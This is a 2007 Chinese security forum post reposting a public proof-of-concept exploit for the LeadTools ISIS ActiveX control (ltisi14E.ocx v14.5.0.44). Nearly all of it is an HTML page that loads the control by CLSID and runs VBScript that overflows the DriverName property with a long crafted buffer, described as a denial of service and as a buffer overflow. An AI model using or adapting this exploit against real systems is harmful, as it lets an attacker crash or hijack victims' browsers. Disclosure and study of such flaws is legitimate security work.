LeadTools ISIS Control (ltisi14E.ocx v.14.5.0.44) Remote DoS Exploit

ring04h

团队执行官

Rank: 8 Rank: 8

E.S.T核心成员社区主管

帖子: 3923
精华: 128
积分: 209640
阅读权限: 200
性别: 男
在线时间: 1096 小时
注册时间: 2007-10-23
最后登录: 2008-7-24

资料收集奖运营支持奖

发短消息
加为好友
当前离线

楼主大中小发表于 2007-5-23 12:11 只看该作者

LeadTools ISIS Control (ltisi14E.ocx v.14.5.0.44) Remote DoS Exploit

复制内容到剪贴板

代码:

<pre>

<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/22</b></p></span>

<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------

 <b>LeadTools ISIS Control (ltisi14E.ocx v. 14.5.0.44) Remote Buffer Overflow Exploit</b>

 url: [url]http://www.leadtools.com/[/url]

 price: eheheh, take a look at thier site :)



 author: shinnai

 mail: shinnai[at]autistici[dot]org

 site: [url]http://shinnai.altervista.org[/url]

 

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 all software that use this ocx are vulnerable to this exploits.

-----------------------------------------------------------------------------------



<object classid=&#39;clsid:00140050-B1BA-11CE-ABC6-F5B2E79D9E3F&#39; id=&#39;test&#39;></object>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">



<script language=&#39;vbscript&#39;>

 Sub tryMe

 buff = String(752, "A")



 get_EAX = "aaaa"



 get_EDI = "bbbb"



 buff1 = String(7240, "B")



 egg = buff + get_EDI + get_EAX + buff1



 test.DriverName = egg

 End Sub

</script>

</span></span>

</code></pre>

TOP

‹‹ 上一主题 | 下一主题 ››

邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » LeadTools ISIS Control (ltisi14E.ocx v.14.5.0.44) Remote DoS Exploit